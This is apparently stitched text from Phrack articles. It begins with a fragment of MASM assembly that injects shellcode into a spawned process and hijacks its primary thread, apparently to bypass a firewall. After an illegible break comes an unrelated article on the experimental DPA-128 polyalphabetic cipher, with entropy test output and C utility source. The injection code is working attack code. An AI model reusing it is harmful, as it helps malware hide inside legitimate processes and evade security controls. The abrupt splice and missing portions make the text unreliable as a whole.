; the current EIP. The JMP CPU instruction is followed by  
; a double word that contains the relative number of bytes  
; to jump away from the current position. This is a signed  
; long value which is basically added to the EIP register.  
; To calculate the appropriate value, we need to subtract  
; the position of the JMP call from the offset we want to  
; jump to and subtract another 5 byte since the JMP  
; instruction itself has that length.
```

```
SUB EAX, EDX  
SUB EAX, 05H  
MOV JUMP_ADDR, EAX
```

```
; Our shellcode is now complete, we will write it along  
; with the inject function itself to the remote process.
```

```
INVOKE WriteProcessMemory, pinf.hProcess, EBX, \  
OFFSET SHELLCODE, CODESIZE, 0
```

```

EJUMP    BPE1
ADD      EBX, CODESIZE

INVOKE   WriteProcessMemory,pinf.hProcess,EBX, \
        FUNCADDR,FUNCSIZE,0
EJUMP    BPE1

; Done. Now hijack the primary thread by resetting its
; instruction pointer to continue the flow of execution
; at the offset of our own, injected code

MOV      EDX, pbRemoteMemory
MOV      mct.regEip, EDX

INVOKE   SetThreadContext, pinf.hThread, ADDR mct
EJUMP    BPE1

; And let the thread continue ...

INVOKE   ResumeThread, pinf.hThread
CMP      EAX, 0FFFFFFFFH
JE       BPE1

; Now this is where we are making use of the event we
; created. We will wait until the injected code signals
; the event (at a reasonable timeout) and sleep for
; another second to make sure our code has done its
; job completely before we start with the cleanup.

INVOKE   WaitForSingleObject, IEV_HANDLE, 60000
CMP      EAX, 0
JE       BPOK

; However, if something goes wrong it is better
; to terminate the thread as silently as possible.

INVOKE   TerminateThread, pinf.hThread, 1

```

BPOK: INVOKE Sleep, 1000

BPE1: INVOKE VirtualFreeEx,pinf.hProcess, \
 pbRemoteMemory,ALLSIZE,MEM_RELEASE

BPE2: INVOKE ResumeThread, pinf.hThread

BPE3: CMP pinf.hThread, 0
 JE BPE4
 INVOKE CloseHandle,pinf.hThread

BPE4: CMP pinf.hProcess, 0
 JE BPE5
 INVOKE CloseHandle,pinf.hProcess

BPE5: INVOKE CloseHandle, IEV_HANDLE
 RET

bypass ENDP

END Main

-[0x0D] :: binaries (base64) -----

These are the binary version of the two sample applications for

[illegible]

- 2.1 - DPA-128 used as a one way hash function
- 2.2 - DPA-128 used as PRNG

3 - Acknowledgment

4 - References

5 - Source Code

--[1 - Introduction

In Phrack #51, mythrandir discussed the cryptanalysis of monoalphabetic ciphers and basic substitutions and transpositions. This paper discusses a different substitution known as 'polyalphabetic substitution' and how some mechanisms can be implanted to take advantage of its characteristics. This document will then focus on 'dynamic polyalphabetic substitution' which is an evolution of polyalphabetic substitution with key-dependant s-tables.

A "functional-but-still-work-in-progress" cipher will be presented. It is a 128-bits secret-key block cipher that uses polyalphabetic s-tables which are highly dependant of the key. The cipher, DPA-128, consists in a simple function that makes 3 operations on the block. It is not a Feistel network but still respects Shannon's principles of diffusion and confusion. It has only been reviewed by a few people, so I strongly discourage its use as it has not proven anything yet. However, if you use it and have any comments, I'd be glad to hear from you, but remember, do not encrypt sensitive stuff cause someone will probably come, break the cipher and go spreading all of your secrets on IRC ;)

Finally, just to clarify a few things. I use the acronym DPA (for "dynamic polyalphabetic algorithms") in this document to refer to key dependancy in polyalphabetic substitution. I've seen people using the term "dynamic" for ciphers that used polyalphabetic substitution in a mode that uses a pseudo random vector (CBC for example). While I'll keep using the acronym, assume that key-dependant substitution works in total abstraction of the mode and DPA-128 has an implementation of both ECB and CBC modes as I'm writing. Also, while I have not seen a dynamic polyalphabetic cipher implementation it does not mean that all of the ideas in this paper are new. DES had some variants that performed key-dependant substitutions by exchanging lines of s-tables, and several ciphers use one-way hash functions for subkeys.

----[1.1 - First of all, a reminder. What is polyalphabetic substitution ?

Polyalphabetic substitution is an hybrid between transposition and substitution.

Transposition consists in reordering the characters in the plaintext to produce the cipher:

Assume my secret message is:

THIS IS MY SECRET MESSAGE DONT READ IT, ARAM SUCKS

After transposing it in a 8 columns table, it becomes:

T	H	I	S	I	S	M	Y
S	E	C	R	E	T	M	E
S	S	A	G	E	D	O	N
T	R	E	A	D	I	T	A
R	A	M	S	U	C	K	S

The cipher is produced by reading the columns instead of the lines:

TSSTR HESRA ICAEM SRGAS IEEDU STDIC MMOTK YENAS

While substitution consists in interchanging the characters in the plaintext to produce the cipher:

Assume my secret message is:

THIS IS ANOTHER ATTEMPT TO PRESERVE MY PRIVACY

Substitution alphabet is a simple rearrangement:

A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z
Y	Z	W	X	U	V	S	T	Q	R	O	P	K	L	M	N	I	J	G	H	E	F	C	D	A	B

The cipher is produced by replacing the letter in plaintext by the new letter in the rearranged alphabet:

HTQG QG YLMHTUJ YHHUKNH HM NJUGUJFU KA NJQFYWA

Note that both these methods do not even require a key, the parties that wish to share the secret, have to share the "protocol" which is the number of columns for the transposition, or the rearranged alphabet for the substitution. In practice, there are methods to use keys with both substitution and transposition but in the end, both are insecure with or without a key. I won't go through the description of how you can break these, the methods were described in phrack #51 if I recall correctly and they are so simple that some tv magazines use these on their game pages.

Now let's get back to polyalphabetic substitution.

A transposed substitution table looks like this more or less:

A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z
B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A
C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B
D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C
E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D
F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E
G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F
H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G
I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H
J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I
K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J
L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K
M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L
N	O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M
O	P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N
P	Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
Q	R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P
R	S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q
S	T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R
T	U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S
U	V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T
V	W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U
W	X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V
X	Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W
Y	Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X
Z	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y

This is known as the "Vigenere Table", because it was invented by Blaise Vigenere (a French mathematician, if you care). Unlike transposition and substitution, a key is required.

Assume my secret key is:

BLEH

Assume my secret message is:

LAST ATTEMPT

The ciphertext is the intersection of each character of the secret key with each character of the secret message. Key characters are seeked on the very first line, and message characters are seeked on the very first column. Since the key is shorter than the message, it is padded with itself so that it becomes:

BLEHBLEHBLE

If it was longer, then either the message would be padded with random crap or the key would be truncated (this is more common).

The cipher is obtained by replacing a letter in the message by the intersection of current message character and current key character in the table. The secret message becomes:

MLWABUXLNAX

As you may notice, even though a character may appear two or more times in the plaintext, it is not encrypted the same way in the ciphertext depending on which character from the key is used for the substitution. This is what "polyalphabetic" means in "polyalphabetic substitution". It was known for a while as the "unbreakable cipher" and a variant was used successfully during Second World War by the Resistance against the Germans.

While this sounds stronger than transposition and substitution, it is still very weak and unless a RNG is used to generate a key that is as long as the data to encrypt (one-time pad), it is possible to recover the key size, the key itself and/or the message with enough data to analyze. The methods used to break this kind of cipher is out of the scope of this paper but a search on google will give you enough hints ;)

Polyalphabetic tables have three interesting properties:

- a) $f(a, b) == c$
 $f(a, b) == f(b, a)$
but... $f(a, c) != b$
and assuming $c = f(a, b)$, then there is a $f1$ such as $f1(a, c) == b$
- b) using the ASCII layout, there are 256^2 combinations which will produce 256 possible results (including the original character).
- c) if we assume that the key is truly random AND has the same size as the message to encrypt, then all results are equiprobable.

and equiprobability means that:

- if you only take one character in the ciphertext, then you have as many chances for it to be any cleartext character. They all appear the exact same number of times in the table and are the result of as many combinations each.
- there is no "useless" substitution. If substitution of character 'A' results in character 'A', then it is not considered as a useless substitution as it had as many chances to be out than any other.

----[1.2 - Weaknesses in polyalphabetic substitution

As I previously said, the above cipher is weak. The weaknesses are numerous and mostly related to the cipher leaking informations about the cleartext, the key and/or the substitution table. If one can encrypt data using the same key, he can determine the size of the key with one message and determine the structure of the substitution table with another, giving him all the necessary information to understand the ciphertext and any other ciphertext encrypted using the same key. But don't get this wrong, he doesn't HAVE to be able to encrypt data, this is just a convenience ;)

The fact that the key is concatenated to itself does not make a change, and actually an implementation on computer would work on data using a modulo on the size of the key to save memory.

The reasons why it is so easy are described here:

- if one chooses a key A and a key B such as they only differ by one bit, then the ciphertext will only differ by one byte.
- if one chooses a message A and a message B such as they also only differ by one bit, then the ciphertext will differ by one byte.
- if one changes one bit in ciphertext and decrypts it, the resulting message will only differ by one byte.
- if one has partial knowledge of the key, or of the message, then he can determine which substitutions are not probable and therefore reduce drastically the complexity of an attack. Also partial knowledge of the key or the message gives statistical analysis a chance to break the ciphertext when polyalphabetic substitution had all the characteristics needed to prevent that from happening.

So... let's sum things up. Polyalphabetic substitution as described above is vulnerable to chosen texts attack, known texts attack, key correlation attack and eventually statistical attacks. Oh... almost forgot... any partial information reveals information about other unrelated data. If I partially know the plaintext, then with access to the ciphertext I am able to recover partially the key, with partial knowledge of the key and access to the ciphertext, i am able to recover partially the plaintext. There is not one point of failure, there are only points of failures...

----[1.3 - Theory of information

Shannon described two properties that a block cipher should have in order to be strong. Not that all ciphers respecting these are strong, but those that do not respect it are most likely weak. These properties are 'confusion' and 'diffusion'. The first one is what we achieve with polyalphabetic substitution, incapacity to deduce from a single encrypted byte, with no other information, the result of which substitution it is. This is because of the equiprobability polyalphabetic tables gives us. The second is diffusion, which is lacking from the above cipher, and one of the reasons why it is so vulnerable. Diffusion is a characteristic where a minor cause produces a major result. It is sometimes called 'cascading effect'.

Basically, diffusion should ensure that a one-bit change in the key alters the whole ciphertext, that a one-bit change in the plaintext also alters the whole ciphertext and that a one-bit change in the ciphertext alters the whole plaintext. This complete alteration is only in appearance, and a better look at the complete ciphertext would reveal an average of half bits modified as you'll notice in the output of 'bitdiff' later in this paper.

While it is difficult to decide whether or not a cipher has a correct confusion and diffusion, they both produce an entropic result that can be measured using several methods. These methods will be used in this paper but explained further in the references. A cipher not producing true entropy is weak, true entropy (== white noise).

One way to add confusion is to ensure that the ciphertext is not dependant of the key on a character basis. Changing one bit of the key should change

the whole ciphertext. This can be achieved by the use of a one-way hash function for key generation. Some one-way hash functions have properties that make them suitable for use, these are:

- $h = f(M)$
- no matter the length of M , h has a fixed size
- assuming M , it should be easy to compute h
- assuming h , it should be difficult to compute M
- a one-bit change in M alters half the bits in h (in average).
- it should be hard to find a M' to a fixed M such as $f(M) = f(M')$
- it should be hard to find any M and M' such as $f(M) = f(M')$

The two last properties seem to be identical but in practice it is "easier" to produce a random collision, than to produce a collision for an expected output. Assuming h is 128-bits long, finding a particular collision takes at most 2^{128} tries, while finding a collision takes at most 2^{64} tries. This is known as the anniversary attack.

The use of such a function will make key correlation hardly practicable as choosing two keys that have a relation will result in subkeys that have no relation at all, even if the relation is a single bit difference. I am not even mentioning attacks based on partial knowledge of the key ;)

Also, this will prevent users from choosing weak keys, purposely or not, as it will be difficult to find a key that will produce a weak key (assuming that there are weak keys ;) once passed through the one-way hash function. By weak key, I do not mean keys like "aaaa" or "foobar", but keys that will produce a subkey that introduces a weakness in the encryption process (such as DES's four weak keys).

The function not being reversible, partial knowledge of plaintext and access to ciphertext does not reveal the key but the subkey from which you cannot obtain information about the key. If the algorithm iterates for several rounds, it is possible to generate subkeys by calling f on previous subkey:

```
round1:      f(k)
round2:      f(f(k))
round3:      f(f(f(k)))
and so on...
```

Note that there is nothing that prevents an implementation from precomputing the subkeys for better performances (this is what my implementation does) instead of computing them for each block.

The characteristics remains, knowing the subkey for round3 does not give information about the subkey used for round2 or round1. That is one of the failure points plugged ;)

Finally, this will increase confusion by creating a relation between each single bit of the user input key and each byte of the ciphertext.

Unfortunately, this is not enough. We added confusion but even though it is theoretically not possible to retrieve the key, even by having access to the full message and the full ciphertext, it is still possible with a partial knowledge to retrieve the subkey and to decrypt any data that is encrypted with the original key. This is where diffusion comes into play with a method called 'byte chaining'. Byte chaining is to a block what block chaining is to a ciphertext, a propagation of changes which will affect all subsequent data. This is done with a simple Xor, where each byte of the block is xor-ed with the next one (modulo size of the block to have the last one be xor-ed with the first one). That way, a single bit change in a byte will have repercussion on every byte after that one. If the function used to encrypt data is called for more than one round, then all bytes are guaranteed to have been altered by at least one byte. This operation is done before encryption so that the result of an encrypted byte is dependant not only of the current byte but of all the

ones that were used for the byte chaining. As rounds occur, cascading effect takes place and the change propagates through the block.

It is possible to increase complexity by using a key-related permutation before encryption. DPA-128 uses a key-related shifting instead but this can be considered as a permutation in some way. Some functions known as 'string hash functions' can compute an integer value out of a string. They are commonly used by C developpers to create hash tables and they are pretty simple to write. It is possible to use these functions on a subkey to create a key-related circular shifting within the block:

- we have a subkey for the round that we computed using f , this subkey is hashed to produce an integer. the hash function does not have to respect any constraints because of f properties. the paranoiac could implement a function that has low collisions and a nice repartition but since it is applied on the result of f , it inherits some of its characteristics.
- assuming the block size is 128, we reduce that integer to 128 (7 bits) there is no magic stuff here, just a modulo.
- the result is used to shift the block circularly >>>

Note that the key-relation for the shifting has no more security than a simple byte shifting - at least on Vigenere table - but only adds more confusion. It was initially introduced as a security measure for substitution tables that had not equiprobable results.

It prevents elimination of some substitution combinations by analyzing which bits are set in an encrypted byte when you know its plaintext equivalent. From the ciphertext, it is not possible to determine whether a block was shifted (the hash value of the key could have been 0 or some product of 128, who knows ;) and if it was shifted, it is not possible to know where the bits come from (which byte they were on originally and what was their position) which makes it difficult to determine if the bit of sign on a particular byte is really a bit of sign or not and if it was part of that byte or not. Also, the shifting is dependant from the subkey used for a round so it will be different at each round and help diffusion through the byte chaining phase.

Finally, it is possible, using the same method, to create a relation between a subkey and the substitution table. This is where dynamic polyalphabetic substitution comes into play !

As we've seen, a polyalphabetic substitution has 256^2 substitutions with 256 outcomes. This means that if an attacker would want to try all combinations possible, he would have to try 256 combinations for a character to be sure the right couple was used (if he knew the structure of the substitution table, or 256^2 otherwise). It is possible to increase that value by creating a relation between the key and the substitution table. There are 256 characters, so it is possible to create 256 different tables by shifting ONE byte on each line:

instead of:

```
0 1 2 3 4 5 6 7 8 9 ...
1 2 3 4 5 6 7 8 9 ...
2 3 4 5 6 7 8
3 4 5 6 7 8
4 5 6 7 8
5 ....
...
```

we end with (n being the shift):

```
n%256      (n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ...
(n+1)%256 (n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 ...
```

```

(n+2)%256 (n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256
(n+3)%256 (n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256
(n+4)%256 (n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256
(n+5)%256 (n+6)%256 (n+7)%256 (n+8)%256 (n+9)%256
(n+6)%256 ...
...
```

This means that an attacker would need to try 256^2 combinations before he knows for sure the right combination was used. he needs to try the same combinations as before but with every variation of 'n'. 'n' can be computed using the same method as for the block shifting but since there are 256 possible shifts for the substitution table, then the result will be reduced modulo 256 (8 bits).

The tables being structured in a logical way, they can be represented by arithmetics which removes the need to store the 256 possible tables and saves quite a bit of memory. It is also possible with more work to create polyalphabetic s-tables that are shuffled instead of shifted, such tables would still share the characteristics of polyalphabetism but prevent partial knowledge of the table from deducing the full internal structure. I did not have enough time to keep on working on this so I am unable to give an example of these, however, simple tables such as the one above is sufficient in my opinion.

k being the character from the key, d being the character from the message and s being the shifting.

encryption can be represented using this equation:

$$(k + d + s) \bmod 256$$

while decryption is:

$$((256 + d) - k - s) \bmod 256$$

The amusing part is that when you play with statistics, you get a very different view if you are in the position of the attacker or of the nice guy trying to keep his secret. Assuming there are 'n' rounds, then you have $(256^2) * m$ substitutions useable where $1 \leq m \leq n$ and $n \leq 256$. This is because some subkeys might produce identical substitution tables. In another hand, and im not doing the maths for this ;), the attacker has not only to figure out which substitutions were done, but also the tables in which they were done... in the exact same order... out of data that does not inform him on the subkeys used to generate the tables he is trying to determine the structure of ;)

The result is NOT equiprobable, because it would require exactly 256 rounds with different tables which is hardly doable (just determining if it is doable requires trying $2^{128 \times 256}$ keys if im correct), but from the attacker point of view, even an exhaustive search might create an indecision because many keys will probably result in the same cipher if applied to different messages (many will produce the same cipher if applied to garbage too ;).

--[2 - IMPLEMENTATION OF DPA-128

As I said, DPA-128 is a secret-key block cipher. Its block and key size are 128-bits. This is not a limitation imposed by the algorithm which is easily adaptable to different key and block sizes. It consists of 16 rounds, each performing:

- a byte chaining;
- a subkey-related shifting;
- a subkey-related polyalphabetic substitution;

All of the rounds have their own subkey.

The implementation uses all of the ideas explained in this paper and before I provide the code, here are a few tests performed on it.

----[2.1 - DPA-128 used as a one way hash function

Bruce Schneier explained in "Applied Cryptography" that some ciphers can be turned into one way hash functions by using them in BC modes (CBC for that matter) using a fixed key and initialization vector with more or less efficiency. It is hard to determine if DPA-128 is efficient because it was not been analyzed by many people and I consider it as efficient to produce checksums as to encrypt. If there is a weakness in the cipher then the checksum will not be secure. The same applies to DPA-128 used as a PRNG. So... I did some testing ;)

I used three tools, the first one 'bitdiff' is a little utility that goes through two files and compares them bit per bit. It then outputs the number of bits that have changed and the repartition of zero's and one's. A sample output looks like this:

```
% ./bitdiff file1 file2
64 bits have changed.
ratio for file1:
    0's: 55
    1's: 73

ratio for file2:
    0's: 71
    1's: 57
```

I also used a tool 'segments', which counts segments of identical bits in a file. A sample output looks like this:

```
% ./segments file1
0's segments:
    1 => 19
    2 => 6
    3 => 4
    4 => 0

1's segments:
    1 => 13
    2 => 7
    3 => 3
    4 => 3
```

Finally, I used an existing tool called 'ent' which is available at <http://www.fourmilab.ch/random/>

which performs several entropy tests, helping determine:

- if DPA-128 passes deterministic tests and how does it compare to a PRNG (I used NetBSD's /dev/urandom).
- what is the impact to a checksum when a bit changes in a file.

Theoritically, an equiprobable cipher would not be a nice idea for a one-way hash function as it would be easily subject to collisions, but as I explained, the result seems to be equiprobable while there is a limited range of possible substitution for a fixed key.

I checksum-ed /etc/passwd three times, the first one was the real file, the second one was the file with a one bit change and the third one was the file with a 6 bytes addition. All bytes where affected, tests with

bitdiff showed that a one bit change produced an average of 60 bits modified in the 128 bits checksum.

```
% ./dpa sum passwd | hexdump
00000000 be85 3b72 1a76 48e6 5d08 939b 104f 3f23
00000010
```

```
% ./dpa sum passwd.1 | hexdump
00000000 f9d3 c5fe d146 2170 144d 900d 0e99 c64b
00000010
```

```
% ./dpa sum passwd.2 | hexdump
00000000 fa19 4869 3f61 798a 2e81 91e9 bc92 78ee
00000010
```

After i redirected the checksums to files, i call bitdiff on them. The files do not contain the hexadecimal representation, but the real 128 bits outputs:

```
% ./bitdiff passwd.chk passwd.1.chk
63 bits have changed.
ratio for passwd.chk:
    0's: 65
    1's: 63
```

```
ratio for passwd.1.chk:
    0's: 68
    1's: 60
```

```
% ./bitdiff passwd.chk passwd.2.chk
61 bits have changed.
ratio for passwd.chk:
    0's: 65
    1's: 63
```

```
ratio for passwd.2.chk:
    0's: 64
    1's: 64
```

You'll notice a nice repartition of zero's and one's, lets' see what segments has to say about this:

```
% ./segments passwd.chk
0's segments:
    1 => 13
    2 => 10
    3 => 3
    4 => 2
```

```
1's segments:
    1 => 15
    2 => 4
    3 => 5
    4 => 0
```

```
% ./segments passwd.1.chk
0's segments:
    1 => 11
    2 => 8
    3 => 5
    4 => 3
    5 => 0
```



```
1's segments:
  1 => 13
  2 => 9
  3 => 2
  4 => 0
  5 => 1
```

```
% ./segments passwd.2.chk
0's segments:
```

```
  1 => 12
  2 => 10
  3 => 3
  4 => 1
  5 => 0
```

```
1's segments:
  1 => 16
  2 => 3
  3 => 4
  4 => 3
  5 => 1
```

Well all we can notice is that there are mostly small segments and that they are well reparted. I'm skipping the entropy test since it will illustrate the use of DPA-128 as a PRNG ;)

----[2.2 - DPA-128 used as PRNG

For the following tests concerning segments and entropy:

- the file 'urandom.seed' consists in 1024 bytes read from NetBSD 1.6.1's /dev/urandom
- the file 'dpa.seed' consists in the result of an ECB encryption on dpa's main.c and a reduction of the output to 1024 bytes.

This means that while tests on urandom.seed apply to the result of a PRNG, the tests on dpa.seed can be reproduced. It shows good entropy on encrypting a fixed value and the results should be quite the same if used as a PRNG. The tests that are performed by 'ent' are described on their website, I'm not going to describe them here because it is out of the scope of this paper and I would do it far less better than their page does.

```
% ./segments urandom.seed
0's segments:
```

```
  1 => 1019
  2 => 418
  3 => 212
  4 => 88
  5 => 35
  6 => 18
```

```
1's segments:
  1 => 1043
  2 => 448
  3 => 179
  4 => 74
  5 => 32
  6 => 13
```

```
% ./segments dpa.seed
0's segments:
  1 => 1087
```

```
2 => 443
3 => 175
4 => 72
5 => 29
6 => 18
```

1's segments:

```
1 => 1039
2 => 453
3 => 195
4 => 67
5 => 34
6 => 15
```

```
% ./ent -b urandom.seed
Entropy = 0.999928 bits per bit.
```

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.82, and randomly
would exceed this value 50.00 percent of the times.

Arithmetic mean value of data bits is 0.4950 (0.5 = random).
Monte Carlo value for Pi is 3.058823529 (error 2.63 percent).
Serial correlation coefficient is -0.002542 (totally uncorrelated = 0.0).

```
% ./ent -b dpa.seed
Entropy = 1.000000 bits per bit.
```

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.00, and randomly
would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bits is 0.5000 (0.5 = random).
Monte Carlo value for Pi is 3.200000000 (error 1.86 percent).
Serial correlation coefficient is -0.003906 (totally uncorrelated = 0.0).

```
% ./ent -bc urandom.seed
Value Char Occurrences Fraction
  0          4137    0.505005
  1          4055    0.494995

Total:          8192    1.000000
```

```
Entropy = 0.999928 bits per bit.
```

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.82, and randomly
would exceed this value 50.00 percent of the times.

Arithmetic mean value of data bits is 0.4950 (0.5 = random).
Monte Carlo value for Pi is 3.058823529 (error 2.63 percent).
Serial correlation coefficient is -0.002542 (totally uncorrelated = 0.0).

```
% ./ent -bc dpa.seed
```

Value	Char	Occurrences	Fraction
0		4096	0.500000
1		4096	0.500000

Total: 8192 1.000000

Entropy = 1.000000 bits per bit.

Optimum compression would reduce the size
of this 8192 bit file by 0 percent.

Chi square distribution for 8192 samples is 0.00, and randomly
would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bits is 0.5000 (0.5 = random).
Monte Carlo value for Pi is 3.200000000 (error 1.86 percent).
Serial correlation coefficient is -0.003906 (totally uncorrelated = 0.0).

The last tests must have given you an idea of the confusion, diffusion and
entropy present in a DPA-128 encrypted ciphertext. More results are
available online on my webpage, I just did not want to put too much in
here since they all look the same ;)

--[3 - Acknowledgment

I would like to thank a few people:

k' who helped me with previous versions and some parts of dpa-128,
acid, who supported my endless harassment (hey try this please !),
pitufo for being the first dpa-128 tester and benchmarker,
hypno for reading this and spot bad sentences :)
brlan for reading this also and giving advices,
a ph.d whose name will remain private who audited dpa-128
and mayhem who both suggested to write a paper about dpa.

--[4 - REFERENCES

- . <http://www.tristeza.org/projects/dpa/>
my page for the dpa project with examples and a lot of testing
- . <http://www.csua.berkeley.edu/cypherpunks/>
cypherpunks
- . <http://www.fourmilab.ch/random/>
entropy tests and their description
- . <http://www.schneier.com/paper-blowfish-fse.html>
a paper on blowfish and what features a cipher should provide
- . "applied cryptography", Bruce Schneier
THE book ;)

--[5 - Source Code

All of the code is provided under the ISC license, do whatever you want
with it, but please please don't use it to encrypt sensitive data unless
you know what you are doing (that means you could not break it and have
confidence in your skills). The code is NOT optimized for speed, it is
a work in progress and many parts can be improved, i'm just a bit in a
hurry and by the time you read this, it will probably be a lot cleaner ;)

If you plan on using dpa-128 even though I'm still warning you not to,

here are a few recommendations:

- the following code accepts keys both as parameter or as file. It is preferable for many reasons to use a file, but the best reason (aside from someone issuing a 'ps' at the wrong moment...) is that you can have your key be the result of a PRNG:

```
% dd if=/dev/urandom of=/home/veins/.dpa/secret.key bs=1024 count=1
```

The odds of someone guessing your key become pretty low :)

- use CBC mode. the impact of using CBC mode on performances is too low to be an excuse for not using it.

To encrypt:

```
% dpa -a enc -m cbc -k file:secret.key -d file:/etc/passwd -o p.enc
```

To decrypt:

```
% dpa -a dec -m cbc -k file:secret.key -d file:p.enc -o p.dec
```

```
/*
 * Copyright (c) 2004 Chehade Veins <veins at tristeza.org>
 *
 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
 * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
 * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
 * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
 * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
 * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
 */
```

```
8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* bitdiff.c */
```

```
/*
 * This is a small utility to compare the bits in two files. It is ugly
 * and could be rewritten in a sexier way but it does its job so no
 * need to waste time on it ;)
 */
```

```
#include <sys/stat.h>
#include <sys/mman.h>
```

```
#include <fcntl.h>
#include <sysexits.h>
```

```
int main(int argc, char *argv[])
{
    int i;
    int size1, size2; /* size counters */
    char *s1, *s2;
    int s1_0, s1_1; /* in s1: 0s and 1s counter */
    int s2_0, s2_1; /* in s2: 0s and 1s counter */
    int fd1, fd2;
    unsigned int cnt;
    unsigned int diff;
    unsigned int total;
```

```

struct stat    sa;
struct stat    sb;

if (argc < 3)
    return (EX_USAGE);

fd1 = open(argv[1], O_RDONLY);
fd2 = open(argv[2], O_RDONLY);
if (fd1 < 0 || fd2 < 0)
    return (EX_SOFTWARE);

fstat(fd1, &sa);
fstat(fd2, &sb);

size1 = sa.st_size;
size2 = sb.st_size;

s1 = mmap(NULL, sa.st_size, PROT_READ, MAP_PRIVATE, fd1, 0);
s2 = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd2, 0);
if (s1 == (void *)MAP_FAILED || s2 == (void *)MAP_FAILED)
    return (EX_SOFTWARE);

s1_1 = s2_1 = s1_0 = s2_0 = diff = total = 0;
while (size1 && size2)
{
    for (i = 7, cnt = 0; i >= 0; --i, ++cnt)
    {
        if ((*s1 >> i) & 0x1) != ((*s2 >> i) & 0x1))
            ++diff;

        if ((*s1 >> i) & 0x1)
            ++s1_1;
        else if ((*s1 >> i) & 0x1) == 0)
            ++s1_0;

        if ((*s2 >> i) & 0x1)
            ++s2_1;
        else if ((*s2 >> i) & 0x1) == 0)
            ++s2_0;

        ++total;
    }
    ++s1; ++s2; size1--; size2--;
}

if (diff == 0)
    printf("bit strings are identical\n");
else
{
    printf("%d bits have changed.\n", diff, total);
    printf("ratio for %s:\n", argv[1]);
    printf("\t0's: %d\n", s1_0);
    printf("\t1's: %d\n", s1_1);
    printf("\n");
    printf("ratio for %s:\n", argv[2]);
    printf("\t0's: %d\n", s2_0);
    printf("\t1's: %d\n", s2_1);
}

munmap(s1, sa.st_size);
munmap(s2, sb.st_size);

return (EX_OK);

```

```

}

8<- - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - - 8<- - - - -
/* segments.c */
/*
 * This is a small utility to count the segments of identical bits in a
 * file. It could also be rewritten in a sexier way but...
 */
#include <sys/mman.h>
#include <sys/stat.h>

#include <fcntl.h>
#include <sysexits.h>

int main(int argc, char *argv[])
{
    int i;
    int fd;
    int cnt;
    int last;
    int biggest;
    int size;
    char *map;
    struct stat sb;
    unsigned int STATS[2][32];

